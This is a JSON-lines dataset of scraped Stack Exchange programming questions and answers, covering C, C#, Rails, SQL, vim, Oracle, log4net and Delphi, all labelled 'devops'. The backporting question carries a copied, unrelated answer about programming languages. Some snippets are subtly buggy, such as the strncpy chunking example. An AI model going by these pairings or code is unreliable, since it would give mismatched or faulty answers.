{"id": "hf_ba8eb6b3bc31", "question": "<p>Consider:</p>\n\n<pre><code>int testfunc1 (const int a)\n{\n  return a;\n}\n\nint testfunc2 (int const a)\n{\n  return a;\n}\n</code></pre>\n\n<p>Are these two functions the same in every aspect or is there a difference?</p>\n\n<p>I'm interested in an answer for the C language, but if there is something interesting in the C++ language, I'd like to know as well.</p>\n", "question_body": "", "answer": "Yes, they are same for just\n```\nint\n```\nand different for\n```\nint*\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:21.591756"}
{"id": "hf_5dcf4ca058c5", "question": "<p>I just upgraded a VS 2005 project to VS 2008 and was examining the changes.  I noticed one of the .Designer.cs files had changed significantly.  The majority of the changes were simply replacements of <em>System</em> with <em>global::System</em>. For example,</p>\n\n<pre><code>protected override System.Data.DataTable CreateInstance()\n</code></pre>\n\n<p>became</p>\n\n<pre><code>protected override global::System.Data.DataTable CreateInstance()\n</code></pre>\n\n<p>What's going on here?</p>\n", "question_body": "", "answer": "The :: operator is called a Namespace Alias Qualifier.\n```\n```\nglobal::System.Data.DataTable\n```\n```\nis the same as:\n```\n```\nSystem.Data.DataTable\n```\n```\nVisual Studio 2008 added it to the designer generated code to avoid ambigious reference issues that occasionally happened when people created classes named System...For example:\n```\n```\nclass TestApp\n{\n    // Define a new class called 'System' to cause problems.\n    public class System { }\n\n    // Define a constant called 'Console' to cause more problems.\n    const int Console = 7;\n    const int number = 66;\n\n    static void Main()\n    {\n        // Error  Accesses TestApp.Console\n        //Console.WriteLine(number);\n    }\n}\n```\n```\nHowever:\n```\n```\nglobal::System.Console.Writeline(\"This works\");\n```\n```\nFor further reading:\nhttp://msdn.microsoft.com/en-us/library/c3ay4x3d(VS.80).aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:21.668312"}
{"id": "hf_45a95762d417", "question": "<p>How do you perform delete and put operations restfully in rails? I have read the documentation and thought I was doing everything properly, but I can't seem to get it to work.</p>\n\n<p>For example, if I wanted to delete an employee I would create a controller called \"EmployeesController\" and create a destroy method to perform the delete.</p>\n\n<p>Then I went into the routes.rb file and entered <code>map.resources :employees</code>, which gives you access to the URL helper functions.</p>\n\n<p>In whatever I want to call the Ajax operation from, I should just have a line like:</p>\n\n<pre><code>&lt;%= link_to_remote \"Delete\", employee_path(@employee), :method =&gt; :delete %&gt;\n</code></pre>\n\n<p>When I click on the link, it is still is sending a POST operation, so it does nothing.</p>\n\n<p>What am I missing or doing wrong?</p>\n", "question_body": "", "answer": "Try\n```\n```\n:url => employee_url(@employee)\n```\n```\nIIRC, *_path is a named route generated by the :resource directive which includes the method, thus overwriting your :method => :delete", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:21.692037"}
{"id": "hf_d943f4d450b3", "question": "<p>I need a way to update the month value on a dateTime field in my db. I'm being past an int value for the month and need to use that for the update. \nIs it possible to do this in the sql statement or would I be best doing it in c# in the webservice?</p>\n", "question_body": "", "answer": "Shift down and then up again:\n```\n```\nUPDATE table\nSET datecol = DATEADD(m, @newmonth, DATEADD(m, -MONTH(datecol), datecol))\nWHERE id = @id\n```\n```\nor, more simply:\n```\n```\nUPDATE table\nSET datecol = DATEADD(m, @newmonth - MONTH(datecol), datecol)\nWHERE id = @id\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:21.739589"}
{"id": "hf_67e35063b584", "question": "<p>I've executed a JDBC query to obtain a resultset. Before iterating over it, I'd like to quickly find out how many rows were returned. How can I do this with high performance?</p>\n\n<p>I'm using Java 6, Oracle 11g, and the latest Oracle JDBC drivers.</p>\n", "question_body": "", "answer": "Short answer: you can't.\nLong answer: you can't, partly because the database may be lazily evaluating the query, only returning rows as you ask for them.\nEDIT: Using a scrollable ResultSet you can :)\nIndeed, I asked this very question in the Java databases newsgroup a long time ago (back in 2001!) and had some\nhelpful responses\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:21.763141"}
{"id": "hf_4e4626077828", "question": "<p>I am currently working on an asp.net application in Visual Studio 2005. I would like to upgrade to 2008 to take advantage of some of the new features, but my remote team won't be able to upgrade to it for a while.</p>\n\n<p>Is it possible for only a few people on my team to upgrade to Visual Studio 2008, while the rest of the team continues to use 2005? </p>\n\n<p>At this point, I don't plan on using any of the 3.0+ foundation stuff yet, so that isn't a concern.</p>\n", "question_body": "", "answer": "Yes, the project files between 2005 and 2008 are compatible.  The solutions are not, but those are easy to remake or copy.  There is one gotcha with the project files, if you're using Web Applications projects.  The two versions reference different MSBuild target files.  Steven Harman has\na blog with a fix to add to the project file\n.\nSo long as you aren't using anything new from the 3.5 compiler, you should be good.  Note that even if you are targeting the 2.0 Framework, the compiler will still accept 3.5 syntax (var, object initializers, etc.) so you'll still need to be aware of those.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:21.798539"}
{"id": "hf_7fd6fe1b6748", "question": "<p>When creating a new file with vim, I would like to automatically add some skeleton code.</p>\n\n<p>For example, when creating a new xml file, I would like to add the first line:</p>\n\n<pre><code>  &lt;?xml version=\"1.0\"?&gt;\n</code></pre>\n\n<p>Or when creating an html file, I would like to add:</p>\n\n<pre><code>&lt;!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\"&gt;\n&lt;html&gt;\n  &lt;head&gt;\n    &lt;title&gt;&lt;/title&gt;\n  &lt;/head&gt;\n  &lt;body&gt;\n  &lt;/body&gt;\n&lt;/html&gt;\n</code></pre>\n", "question_body": "", "answer": "Here are two examples using python scripting.\nAdd something like this in your .vimrc or another file sourced by your .vimrc:\n```\n```\naugroup Xml\n  au BufNewFile *.xml :python import vim\n  au BufNewFile *.xml :python vim.current.buffer[0:0] = ['<?xml version=\"1.0\"?>']\n  au BufNewFile *.xml :python del vim\naugroup END\n\nfu s:InsertHtmlSkeleton()\n  python import vim\n  python vim.current.buffer[0:0] = ['<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">', \"<html>\", \"<head>\", \"  <title></title>\", \"</head>\", \"<body>\", \"\", \"</body>\", \"</html>\"]\n  python del vim\nendfu\n\naugroup Html\n  au BufNewFile *.html call <SID>InsertHtmlSkeleton()\naugroup END\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:21.846812"}
{"id": "hf_cb117e2edaa5", "question": "<p>Using C#</p>\n\n<p>How do you remove a specific node from an XMLDocument using XPATH?</p>\n", "question_body": "", "answer": "Here you go.   ChildNodeName, could be just the node name or an XPath query.\n```\n```\nXmlDocument doc = new XmlDocument();\n\n// Load you XML Document\n\nXmlNode childNode = doc.SelectSingleNode(childNodeName);\n\n// Remove from the document\ndoc.RemoveChild(childNode);\n```\n```\nThere is a different way using Linq, but I guessed you were using .NET 2.0", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:21.870623"}
{"id": "hf_1c5ca3d26179", "question": "<p>What is the difference between these two pieces of code</p>\n\n<pre><code>type\n  IInterface1 = interface\n    procedure Proc1;\n  end;\n\n  IInterface2 = interface\n    procedure Proc2;\n  end;\n\n  TMyClass = class(TInterfacedObject, IInterface1, IInterface2)\n  protected\n    procedure Proc1;\n    procedure Proc2;\n  end;\n</code></pre>\n\n<p>And the following :</p>\n\n<pre><code>type\n  IInterface1 = interface\n    procedure Proc1;\n  end;\n\n  IInterface2 = interface(Interface1)\n    procedure Proc2;\n  end;\n\n  TMyClass = class(TInterfacedObject,  IInterface2)\n  protected\n    procedure Proc1;\n    procedure Proc2;\n  end;\n</code></pre>\n\n<p>If they are one and the same, are there any advantages, or readability issues with either.</p>\n\n<p>I guess the second means you cannot write a class that implements IInterface2 without implementing IInterface1, whilst with the first you can.</p>\n", "question_body": "", "answer": "Assuming you meant\n```\n```\n...\nIInterface2 = interface(Interface1)\n...\n```\n```\nI interpret it the same as you,\nthe second form requires a class implementing Interface2 to implement Interface1 as well\n, while the first form does not.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:21.918633"}
{"id": "hf_4f3ec71ab731", "question": "<p>We don't exactly comply with the XML-RPC spec, but the concepts are nearly identical.  A client comes in over HTTP/HTTPS with an XML payload.  We respond with an XML payload answering the request.  This is primarily machine to machine, so no human to type a username/password.  Our construct runs within apache tomcat.  We would like to authenticate the request and since not every service is available to every client, we need to authorize the request as well.  We have both subscription and per use charging models so it is necessary to log everything.</p>\n\n<p>What would you recommend for both server and client?</p>\n", "question_body": "", "answer": "HTTP BASIC/DIGEST works fine for most machine to machine tasks, and it handled by the server so your API is unaffected.\nIt doesn't work as well for interactive uses because it's difficult to \"log out\" the user without closing the browser.\nOtherwise you'll most likely need to alter your APIs to include authentication information and have your methods authenticate that within your code.\nOr you could use the classic \"login\", set a cookie, keep a session technique.\nBut, frankly, for machine to machine work, HTTP BASIC is the easiest.\nedit, regarding comments.\nHTTP BASIC is simply a protocol used to present the artifacts necessary for authentication, and it works well for machine to machine web services.\nHOW IT IS IMPLEMENTED is dependent on you and your application. Using Java, you can use container authentication and that will provide authentication as well as role mapping. The user -> role mapping is handled in either a data file or database. The URLs protected, and what roles are valid for each URL, is managed by web.xml.\nIf you continue to add different roles to different URLs, then, yes, you'll need to redeploy that application.\nHowever, if you're just adding new users, then you simply update your file or database. And if you're adding new logic, and this new URLs, then you have to redeploy anyway. If you have a ROLE structure with a fine enough granularity, you won't have to be messing with the web.xml until you actually add new methods. For example you could, at the extreme, create a role per method, and assign them individually to users. Most don't need to go that far.\nIf you don't want to use container authentication, then write a Servlet Filter to implement your vision of mapping user and roles to URLs. You can still use the HTTP BASIC protocol for your clients, even if you implement your own facility.\nIf you're looking for an overall generic Java security framework, I defer to google -- there are several, I've not used any of them. I've had good luck with container authentication and writing our own.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:21.941824"}
{"id": "hf_fe2dafa7e9fd", "question": "<p>When using tooltips to show a detailed description of a TreeNode, the tooltip is drawn on top of the node, as if it was completing the node's text. Also, if the text is long, the tooltip is positioned in a way that the <strong>text exceeds the screen</strong>. </p>\n\n<p>But what I need is the tooltip to show right below the mouse pointer and not on top of the TreeNode.</p>\n\n<p>Any idea how to do this?</p>\n\n<hr>\n\n<p>Show, don't tell:</p>\n\n<p>How it is:  </p>\n\n<p><a href=\"https://i.stack.imgur.com/aqDww.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/aqDww.png\" alt=\"how it is\"></a>\n  </p>\n\n<p>How I want:  </p>\n\n<p><a href=\"https://i.stack.imgur.com/buIrV.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/buIrV.png\" alt=\"how I want\"></a>\n</p>\n", "question_body": "", "answer": "You need to define a ToolTip and write an MouseOverEventHandler for the TreeView. In the MouseOverEventHandler calculate the node above which mouse is positioned, then show the description ToolTip. Also make sure you are not setting the tooltip description more than once, otherwise the behavior is quite ugly.\nA better way is to show the description in the StatusStrip - bottom left of the Form.\nUpdate:\nOK since you have clarified your question. You can use\n```\nToolTip.Show\n```\nmethod where you can specify coordinates:\n```\n```\npublic void Show(\n    string text,\n    IWin32Window window,\n    int x,\n    int y,\n    int duration\n)\n```\n```\nObviously, you'll have to add offset to x and y.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:21.965577"}
{"id": "hf_82ff6a72d821", "question": "<p>Given the email address: \"Jim\" &lt;jim@example.com&gt;</p>\n\n<p>If I try to pass this to MailAddress I get the exception:</p>\n\n<blockquote>\n  <p>The specified string is not in the form required for an e-mail address.</p>\n</blockquote>\n\n<p>How do I parse this address into a display name (Jim) and email address (jim@example.com) in C#?</p>\n\n<p>EDIT:  I'm looking for C# code to parse it.</p>\n\n<p>EDIT2:  I found that the exception was being thrown by MailAddress because I had a space at the start of the email address string.  </p>\n", "question_body": "", "answer": "Try:\n```\n```\n\"Jimbo <jim@example.com>\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:22.021453"}
{"id": "hf_5ca300be66be", "question": "<p>Using the default TWebBrowser makes things easy to embed a web browser. Unfortunately the one that comes in by default is IE&lt;n&gt;.</p>\n\n<p>I'm wondering how does one integrate a Gecko or WebKit one.</p>\n\n<ol>\n<li>Are there VCL examples somewhere?</li>\n<li>If not, how would one go about doing it?</li>\n<li>Where's the best place to find the core for Gecko and/or WebKit in an embeddable format?</li>\n</ol>\n", "question_body": "", "answer": "TWebBrowser\nis\nIE. It is not a plugable construction for browsers. You can have other browsers integrated in your application. See\nhttp://www.adamlock.com/mozilla/\nhttp://delphi.mozdev.org/articles/taming_the_lizard_with_delphi.html\nhttp://ftp.newbielabs.com/Delphi%20Gecko%20SDK/\nTime has moved on\nThis answer is from '08 and since then time has moved on. The links don't work anymore and there are probably better alternatives now.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:22.056970"}
{"id": "hf_2e0ab7ee4141", "question": "<p>I have a table column that needs to be limited to a certain width - say 100 pixels.  At times the text in that column is wider than this and contains no spaces. For example:</p>\n\n<pre><code>a_really_long_string_of_text_like_this_with_no_line_breaks_makes_the_table_unhappy\n</code></pre>\n\n<p>I would like to calculate the width of text server-side and add an ellipsis after the correct number of characters.  The problem is that I don't have data about the rendered size of the text.</p>\n\n<p>For example, assuming the browser was Firefox 3 and the font was 12px Arial.  What would be the width of the letter \"a\", the width of the letter \"b\", etc.?</p>\n\n<p>Do you have data showing the pixel width of each character?  Or a program to generate it?</p>\n\n<p>I think a clever one-time javascript script could do the trick.  But I don't want to spend time re-inventing the wheel if someone else has already done this.  I am surely not the first person to come up against this problem.</p>\n", "question_body": "", "answer": "Very very hard to do server-side. You can never know what fonts users have installed, and there are many things that affect the display of text.\nTry this instead:\n```\n```\ntable-layout: fixed;\n```\n```\nThat'll make sure the table is never larger than the size you specified.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:22.095923"}
{"id": "hf_ec92ee993d8a", "question": "<p>What do you think the next evolution of languages will look like?</p>\n", "question_body": "", "answer": "You might assume C and C++ are being \"phased out\" and that Java/.Net/Python/whatever is an \"advance\" or the \"next stop\".\nThey are all used heavily (see the number C or C++ of tags on this site). The difference is that neither one is the lingua-franca of the programming world anymore. It used to be that the majority of apps were desktop or DOS apps on systems with very limited resources, furthermore all the major desktop APIs were written in C or C++. So everyone learned these.\nNow its more complex. Languages are becomming more application specific. C/C++ for when performance is important. Scripting languages for when your main performance hit is db reads/writes. Java and .Net for generic, non-performance-critical desktop apps.\nIts the same thing with computer or electrical engineering. In the past these were huge fields at the highest level of abstraction available. Now we have all sorts of higher levels of abstraction. Still, we need people to do this lower-level kind of engineering. They are still in demand. In the same manner, C will continue to be used in many environments, as will C++. You'd be crazy, for instance, to think that you could write a device driver in Java, you'd also be mildly crazy (but perhaps less so) to write a full fledged GUI app in C if you had the choice and ability to do it in Java or .Net.\nEach tool has its purpose. I expect C, C++, and Java to evolve and continue to be used for new and legacy development.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:22.131890"}
{"id": "hf_2b3b566aaa5f", "question": "<p>On a project I'm working on, we use subversion, with tortoiseSVN as a client, under windows XP.</p>\n\n<p>As we enter in production and continue development in parallel, many branches are created.</p>\n\n<p>Often, we have to backport modifications made on the branch to the trunk, or to older branches. Backporting is a very delicate task, as many errors can be introduced into the code.</p>\n\n<p>What are your favorite tools to make backporting easier and more secure ? If possible, add only one tool per answer, and vote for your favorite ones.</p>\n", "question_body": "", "answer": "You might assume C and C++ are being \"phased out\" and that Java/.Net/Python/whatever is an \"advance\" or the \"next stop\".\nThey are all used heavily (see the number C or C++ of tags on this site). The difference is that neither one is the lingua-franca of the programming world anymore. It used to be that the majority of apps were desktop or DOS apps on systems with very limited resources, furthermore all the major desktop APIs were written in C or C++. So everyone learned these.\nNow its more complex. Languages are becomming more application specific. C/C++ for when performance is important. Scripting languages for when your main performance hit is db reads/writes. Java and .Net for generic, non-performance-critical desktop apps.\nIts the same thing with computer or electrical engineering. In the past these were huge fields at the highest level of abstraction available. Now we have all sorts of higher levels of abstraction. Still, we need people to do this lower-level kind of engineering. They are still in demand. In the same manner, C will continue to be used in many environments, as will C++. You'd be crazy, for instance, to think that you could write a device driver in Java, you'd also be mildly crazy (but perhaps less so) to write a full fledged GUI app in C if you had the choice and ability to do it in Java or .Net.\nEach tool has its purpose. I expect C, C++, and Java to evolve and continue to be used for new and legacy development.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:22.154972"}
{"id": "hf_b34edb874d79", "question": "<p>I am using a multi-dimensional dynamic array in delphi and am trying to figure this out:</p>\n\n<p>I have 2 seperate values for the first index and second index that are totally seperate of each other.</p>\n\n<p>As new values come I want to grow the array if that new value is outside of either bound.</p>\n\n<p>For new values x, y</p>\n\n<p>I check:</p>\n\n<pre><code>if Length(List) &lt; (x + 1) then\n   SetLength(List, x + 1);\nif Length(List[0]) &lt; (y + 1) then\n   SetLength(List, Length(List), y + 1);\n</code></pre>\n\n<p>Is this the correct way to do this or is there a better way to grow the array as needed?</p>\n", "question_body": "", "answer": "It looks fine to me - if you change the last line to\n```\n```\nSetLength(List, Length(List), y + 1);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:22.189748"}
{"id": "hf_e7aafb8529f6", "question": "<p>I recently deploy one web application in one of my development servers. I'm using oracle, asp.net and c#. When I run the application in the server everything works fine, but when I try to run the application outside of the server (using my pc, for example) i get this error:</p>\n\n<pre><code>ORA-12154: TNS:could not resolve the connect identifier specified\n</code></pre>\n\n<p>If i run the application in my pc with visual studio it works fine.</p>\n\n<p>Oracle is installed in Server \"A\" and the application is in server \"B\". Server \"A\" is in one domain and server \"B\" is in other domain.My pc is in the same domain has Server \"A\".</p>\n\n<p>In my pc I can find the file tnsname.ora in C:\\oracle\\product\\10.2.0\\client_1\\NETWORK\\ADMIN, but in Server \"B\" i can´t find it anywhere</p>\n\n<p>any idea?\nThanks for the help.</p>\n", "question_body": "", "answer": "Have you tried this yet? (from\nhttp://ora-12154.ora-code.com/\n)\nORA-12154:  TNS:could not resolve the connect identifier specified\nCause:  A connection to a database or other service was requested using a connect identifier, and the connect identifier specified could not be resolved into a connect descriptor using one of the naming methods configured. For example, if the type of connect identifier used was a net service name then the net service name could not be found in a naming method repository, or the repository could not be located or reached.\nAction: \n- If you are using local naming (TNSNAMES.ORA file):\nMake sure that \"TNSNAMES\" is listed as one of the values of the NAMES.DIRECTORY_PATH parameter in the Oracle Net profile (SQLNET.ORA)\nVerify that a TNSNAMES.ORA file exists and is in the proper directory and is accessible.\nCheck that the net service name used as the connect identifier exists in the TNSNAMES.ORA file.\nMake sure there are no syntax errors anywhere in the TNSNAMES.ORA file. Look for unmatched parentheses or stray characters. Errors in a TNSNAMES.ORA file may make it unusable.\nIf you are using directory naming:\nVerify that \"LDAP\" is listed as one of the values of the NAMES.DIRETORY_PATH parameter in the Oracle Net profile (SQLNET.ORA).\nVerify that the LDAP directory server is up and that it is accessible.\nVerify that the net service name or database name used as the connect identifier is configured in the directory.\nVerify that the default context being used is correct by specifying a fully qualified net service name or a full LDAP DN as the connect identifier\nIf you are using easy connect naming:\nVerify that \"EZCONNECT\" is listed as one of the values of the NAMES.DIRETORY_PATH parameter in the Oracle Net profile (SQLNET.ORA).\nMake sure the host, port and service name specified are correct.\nTry enclosing the connect identifier in quote marks. See the Oracle Net Services Administrators Guide or the Oracle operating system specific guide for more information on naming.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:22.212188"}
{"id": "hf_e30cc8659a12", "question": "<p>I have a database with user 'dbo' that has a login name \"domain\\xzy\".  How do I change it from \"domain\\xzy\" to \"domain\\abc\".</p>\n", "question_body": "", "answer": "This is a Windows login, not a SQL Server login, so you cannot 'change' the login name since it is linked to the user account in Active Directory.\nCreate a new Server Login (Windows) mapped to the new windows user (and remove the old one if necessary). Then in login's Security > User Mapping, permission that login to the appropriate database as user 'dbo' (or assign to the db_owner role)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:22.236972"}
{"id": "hf_914db5266fdc", "question": "<p>One of the really nice things about python is the simplicity with which you can name variables that have the same name as the accessor:</p>\n\n<pre><code>self.__value = 1\n\ndef value():\n    return self.__value\n</code></pre>\n\n<p>Is there a simple way of providing access to the private members of a class that I wish to subclass? Often I wish to simply work with the raw data objects inside of a class without having to use accessors and mutators all the time.</p>\n\n<p>I know this seems to go against the general idea of private and public, but usually the class I am trying to subclass is one of my own which I am quite happy to expose the members from to a subclass but not to an instance of that class. Is there a clean way of providing this distinction?</p>\n", "question_body": "", "answer": "Not conveniently, without further breaking encapsulation. The double-underscore attribute is name-mangled by prepending '_ClassName' for the class it is being accessed in. So, if you have a 'ContainerThing' class that has a '__value' attribute, the attribute is actually being stored as '\n```\n_ContainerThing__value\n```\n'. Changing the class name (or refactoring where the attribute is assigned to) would mean breaking all subclasses that try to access that attribute.\nThis is exactly why the double-underscore name-mangling (which is not really \"private\", just \"inconvenient\") is a bad idea to use. Just use a\nsingle\nleading underscore. Everyone will know not to touch your 'private' attribute and you will still be able to access it in subclasses and other situations where it's darned handy. The name-mangling of double-underscore attributes is useful only to avoid name-clashes for attributes that are truly specific to a particular class, which is extremely rare. It provides no extra 'security' since even the name-mangled attributes are trivially accessible.\nFor the record, '\n```\n__value\n```\n' and '\n```\nvalue\n```\n' (and '\n```\n_value\n```\n') are not the same name. The underscores are part of the name.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:22.284506"}
{"id": "hf_be3c688b8577", "question": "<p>I have a char array in a C application that I have to split into parts of 250 so that I can send it along to another application that doesn't accept more at one time. </p>\n\n<p>How would I do that? Platform: win32. </p>\n", "question_body": "", "answer": "From the MSDN documentation:\nThe strncpy function copies the initial count characters of strSource to strDest and returns strDest. If count is less than or equal to the length of strSource, a null character is not appended automatically to the copied string. If count is greater than the length of strSource, the destination string is padded with null characters up to length count. The behavior of strncpy is undefined if the source and destination strings overlap.\nNote that\n```\nstrncpy\n```\ndoesn't check for valid destination space; that is left to the programmer.  Prototype:\n```\nchar *strncpy(\n   char *strDest,\n   const char *strSource,\n   size_t count \n);\n```\nExtended example:\n```\n```\nvoid send250(char *inMsg, int msgLen)\n{\n    char block[250];\n    while (msgLen > 0)\n    {\n         int len = (msgLen>250) ? 250 : msgLen;\n         strncpy(block, inMsg, 250);\n\n         // send block to other entity\n\n         msgLen -= len;\n         inMsg  += len;\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:22.308939"}
{"id": "hf_8ac4dcbb3fd1", "question": "<p>I'm just starting to get into Django, and of course as of last night one of the two new Python versions went final (2.6 obviously ;)) so I'm wondering if 2.6 plus Django is ready for actual use or do the Django team need more time to finish with tweaks/cleanup?  </p>\n\n<p>All the google searches I did were inconclusive, I saw bits about some initial test runs on beta 2 but nothing more recent seemed to show up.</p>\n\n<p>Edit: <a href=\"http://groups.google.com/group/django-developers/browse_thread/thread/a48f81d916f24a04\" rel=\"nofollow noreferrer\">http://groups.google.com/group/django-developers/browse_thread/thread/a48f81d916f24a04</a></p>\n\n<p>They've confirmed here 1.0 w/2.6 works fine as far as they know.</p>\n", "question_body": "", "answer": "The impression I get is that 2.6 should work fine with Django 1.0. As found here:\nhttp://simonwillison.net/2008/Oct/2/whatus/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:22.332760"}
{"id": "hf_127c28bf9846", "question": "<p>I am using Log4Net with the AdoNetAppender to log messages from a simple systray application into a SQL Server 2005 database.</p>\n\n<p>I want to log the machine name along with the log message because this application will be running on multiple machines and I need to know on which one the message originated.</p>\n\n<p>But, I cannot find a way to expose this information via the log4net.Layout.PatternLayout that I am using with the appender.</p>\n\n<p>Is there a way to log the machine name via log4net in this manner?</p>\n", "question_body": "", "answer": "you can create a parameter similar to the following:\n```\n```\n<parameter>\n  <parameterName value=\"@machine\" />\n  <dbType value=\"String\" />\n  <size value=\"255\" />\n  <layout type=\"log4net.Layout.PatternLayout\">\n    <conversionPattern value=\"%X{machine}\" />\n  </layout>\n</parameter>\n```\n```\nThen add this line before writing to the log:\n```\nMDC.Set(\"machine\", Environment.MachineName);\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:22.356468"}
{"id": "hf_9132ed7245ba", "question": "<p>Can you package up the .Net framework in an installer created in Visual Studio? If so how?</p>\n\n<p>I've seen this done with Install4J packaging a JVM but I think that was the JVM to run Install4J.</p>\n", "question_body": "", "answer": "Sucky, yeah - I created an installer just recently before realizing that the .Net Framework (which was one of the things I needed to install) was required.  I ended up making a c++ program that installed .Net before my installer was launched.\nSeems kind of odd to me to offer the ability to create an installer and not have it offer to install what it needs to run.  Kinda pointless at that point, eh?  Unless you know that every machine you give the installer to will have the necessary components...\nOh well, live and learn", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:22.379969"}
